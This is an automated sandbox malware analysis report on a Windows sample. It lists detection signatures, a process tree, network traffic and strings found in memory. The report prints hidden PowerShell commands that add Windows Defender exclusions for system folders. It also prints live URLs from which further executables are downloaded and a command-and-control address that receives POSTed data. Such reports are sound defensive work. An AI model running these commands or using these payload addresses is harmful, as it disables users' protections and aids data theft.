Edit tour

Windows Analysis Report
UBONg7lmVR.exe

Overview

General Information

Sample name:	UBONg7lmVR.exe renamed because original name is a hash value
Original sample name:	e1653e127b026feeb94faf95ccc260c4b063e2e3bb4f1cc361a4f9d8e928ae6e.exe
Analysis ID:	1499702
MD5:	d2db9a159617250a517f9d074ab8f947
SHA1:	cdc8efcd77ce4725200f29b9be43dac308a139a1
SHA256:	e1653e127b026feeb94faf95ccc260c4b063e2e3bb4f1cc361a4f9d8e928ae6e
Tags:	45-125-66-18exe
Infos:

Detection

Score:	75
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Query firmware table information (likely to detect VMs)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

UBONg7lmVR.exe (PID: 7612 cmdline: "C:\Users\user\Desktop\UBONg7lmVR.exe" MD5: D2DB9A159617250A517F9D074AB8F947)

y5cm2yzz.hwt.exe (PID: 7992 cmdline: "C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe" MD5: A499C507987982C951093E21DF0C0D96)

powershell.exe (PID: 8124 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5596 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7948 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7848 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1060 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3396 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2300 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rapnewsa.exe (PID: 8032 cmdline: C:\Reka\rapnewsa.exe MD5: 2D4E723C184D9403B078E53F2DE74A23)

WerFault.exe (PID: 3904 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8032 -s 122888 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe, ParentProcessId: 7992, ParentProcessName: y5cm2yzz.hwt.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", ProcessId: 8124, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe, ParentProcessId: 7992, ParentProcessName: y5cm2yzz.hwt.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'", ProcessId: 8124, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Reka\rapnewsa.exe

Avira: detection malicious, Label: HEUR/AGEN.1315917

Multi AV Scanner detection for dropped file

Source: C:\Reka\rapnewsa.exe	ReversingLabs: Detection: 15%
Source: C:\Reka\rapnewsa.exe	Virustotal: Detection: 24%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Source: UBONg7lmVR.exe

Virustotal: Detection: 13%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Reka\rapnewsa.exe

Joe Sandbox ML: detected

Source: C:\Reka\rapnewsa.exe	Code function: 23_2_002C1000 CryptUnprotectData,		23_2_002C1000
Source: C:\Reka\rapnewsa.exe	Code function: 23_2_002C1C40 CryptSignHashA,CryptUpdateProtectedState,WinHttpTimeFromSystemTime,		23_2_002C1C40

Source: unknown	HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.51.233:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.125.66.18:443 -> 192.168.2.4:49749 version: TLS 1.2

Source: UBONg7lmVR.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Reka\rapnewsa.exe

Code function: 23_2_002C8D40 FindFirstFileW,FindNextFileW,FindClose,

23_2_002C8D40

Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\
Source: C:\Reka\rapnewsa.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\

Source: global traffic	HTTP traffic detected: GET /updated24/updated24/downloads/Updated11.12.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-4f05-aba3-c7f453357584/Updated11.12.exe?response-content-disposition=attachment%3B%20filename%3D%22Updated11.12.exe%22&AWSAccessKeyId=ASIA6KOSE3BNM7G6QD3X&Signature=axhudmqEvDM%2FSUhiHDRgUnl7%2FLM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEPv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBPQNDA%2Bh4G46KXw4LFfA9Io2JrUo7qexVGkmClXZ9XZAiEArKzvP5lXvxR0bzw4zii8AXSrZI4T8YzSZDU5HRHXvGAqpwIIFBAAGgw5ODQ1MjUxMDExNDYiDBQ5D%2BO3Og5loUNzrCqEAlNSqyxdg90lqENE7Z1SnCpP6CAEKvQ2ZHflx5%2B9h97EGF%2BXeWo6gNL%2FKeau4g9mlbbEotcMw%2BrrPvVtwNlOZZrAvPyqKCz9MZpRG%2BpiC03DY8EyD%2BgUcSrXtsYVj1pY8epvtBzRmE%2FiDtiuZev9AlPjjVReOc21XzmG2S5RzBnktovq9Demuoz4DZKVKfYpiyX89uYSRKAsxMv%2FByN7IdIq6qCZVRx0QazWdIaUsZX5xlSjdEpSJPis3lWADR%2FBDkpX3wpSdaWD8PCizYGKT%2F2E2%2FTQ6T9aJkUzXz9IvClo4ct3sHAuc3qQYEfeMTJWLjMFtZKl8vhj%2BumqVAPYpTlp6oAVMNfjtrYGOp0BKT9YWtFy1GR5MK5hXid7YqSJRvsd%2FwKLvb%2BM6KMzyorpcCHfTbjl0lcEiPM9exK3azj%2BG9Z6KbEtKqhP2JBh1l8nNQ0B8rOE9SFVdCbfZZDWbRo0WGaMriccmr%2FYO0vC%2BM%2FhPCYL5SvzOfGdaWbmKgehwLg0mMfHk38JTQGQTLnnz22wGGUIntx8r0LvBLZsgM369fVm52jEYq%2F5wg%3D%3D&Expires=1724758239 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 185.166.143.49 185.166.143.49
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 185.199.111.133 185.199.111.133

Source: Joe Sandbox View	JA3 fingerprint: 72a589da586844d7f0818ce684948eea
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: POST /api/receiver/recv HTTP/1.1Connection: Keep-AliveContent-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.48Content-Length: 3160Host: 45.125.66.18

Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.125.66.18
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /updated24/updated24/downloads/Updated11.12.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-4f05-aba3-c7f453357584/Updated11.12.exe?response-content-disposition=attachment%3B%20filename%3D%22Updated11.12.exe%22&AWSAccessKeyId=ASIA6KOSE3BNM7G6QD3X&Signature=axhudmqEvDM%2FSUhiHDRgUnl7%2FLM%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEPv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBPQNDA%2Bh4G46KXw4LFfA9Io2JrUo7qexVGkmClXZ9XZAiEArKzvP5lXvxR0bzw4zii8AXSrZI4T8YzSZDU5HRHXvGAqpwIIFBAAGgw5ODQ1MjUxMDExNDYiDBQ5D%2BO3Og5loUNzrCqEAlNSqyxdg90lqENE7Z1SnCpP6CAEKvQ2ZHflx5%2B9h97EGF%2BXeWo6gNL%2FKeau4g9mlbbEotcMw%2BrrPvVtwNlOZZrAvPyqKCz9MZpRG%2BpiC03DY8EyD%2BgUcSrXtsYVj1pY8epvtBzRmE%2FiDtiuZev9AlPjjVReOc21XzmG2S5RzBnktovq9Demuoz4DZKVKfYpiyX89uYSRKAsxMv%2FByN7IdIq6qCZVRx0QazWdIaUsZX5xlSjdEpSJPis3lWADR%2FBDkpX3wpSdaWD8PCizYGKT%2F2E2%2FTQ6T9aJkUzXz9IvClo4ct3sHAuc3qQYEfeMTJWLjMFtZKl8vhj%2BumqVAPYpTlp6oAVMNfjtrYGOp0BKT9YWtFy1GR5MK5hXid7YqSJRvsd%2FwKLvb%2BM6KMzyorpcCHfTbjl0lcEiPM9exK3azj%2BG9Z6KbEtKqhP2JBh1l8nNQ0B8rOE9SFVdCbfZZDWbRo0WGaMriccmr%2FYO0vC%2BM%2FhPCYL5SvzOfGdaWbmKgehwLg0mMfHk38JTQGQTLnnz22wGGUIntx8r0LvBLZsgM369fVm52jEYq%2F5wg%3D%3D&Expires=1724758239 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/main/yjsefceawd.json HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/main/nepipirusas.json HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/raw/main/iconozave.exe HTTP/1.1Host: github.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /workhasf/kelm/main/iconozave.exe HTTP/1.1Host: raw.githubusercontent.comUser-Agent: Go-http-client/1.1Referer: https://github.com/workhasf/kelm/raw/main/iconozave.exeAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /get HTTP/1.1Host: httpbin.orgUser-Agent: Go-http-client/1.1Accept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org

Source: unknown

Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bbuseruploads.s3.amazonaws.com
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bbuseruploads.s3.amazonaws.comd
Source: rapnewsa.exe, 00000017.00000002.2746189003.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.coU
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s3-w.us-east-1.amazonaws.com
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s3-w.us-east-1.amazonaws.comd
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: UBONg7lmVR.exe, 00000000.00000002.3557834176.000000000AD42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: rapnewsa.exe, 00000017.00000002.2746189003.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/
Source: rapnewsa.exe, 00000017.00000002.2746189003.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/api/receiver/recv
Source: rapnewsa.exe, 00000017.00000002.2746189003.00000000013AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18/api/receiver/recv)
Source: rapnewsa.exe, 00000017.00000002.2746189003.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.125.66.18:443/api/receiver/recv
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/5b13bdbb-293e-4709-86cb-a1785eabdee3/downloads/f3e97ed3-319a-
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org
Source: UBONg7lmVR.exe	String found in binary or memory: https://bitbucket.org/updated24/updated24/downloads/Updated11.12.exe
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dz8aopenkvv6s.cloudfront.net
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C000136000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2760615080.000000C00018C000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2760615080.000000C0001DE000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C00000E000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2760615080.000000C0001BE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/workhasf/kelm/raw/main/iconozave.exe
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C00000E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/workhasf/kelm/raw/main/iconozave.exeC:
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2760615080.000000C0001BE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/workhasf/kelm/raw/main/iconozave.exeraw.githubusercontent.com66666666666666666666
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2761009256.000000C000212000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C000136000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2760615080.000000C0001DE000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2761009256.000000C00022E000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2760615080.000000C0001F0000.00000004.00001000.00020000.00000000.sdmp, y5cm2yzz.hwt.exe, 00000002.00000002.2761009256.000000C000260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/get
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C00014C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe
Source: y5cm2yzz.hwt.exe, 00000002.00000002.2759424988.000000C00014C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exePROCESSOR_IDENTIFIER=Intel64
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DBD000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005D8E000.00000004.00000800.00020000.00000000.sdmp, UBONg7lmVR.exe, 00000000.00000002.3548034126.0000000005DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
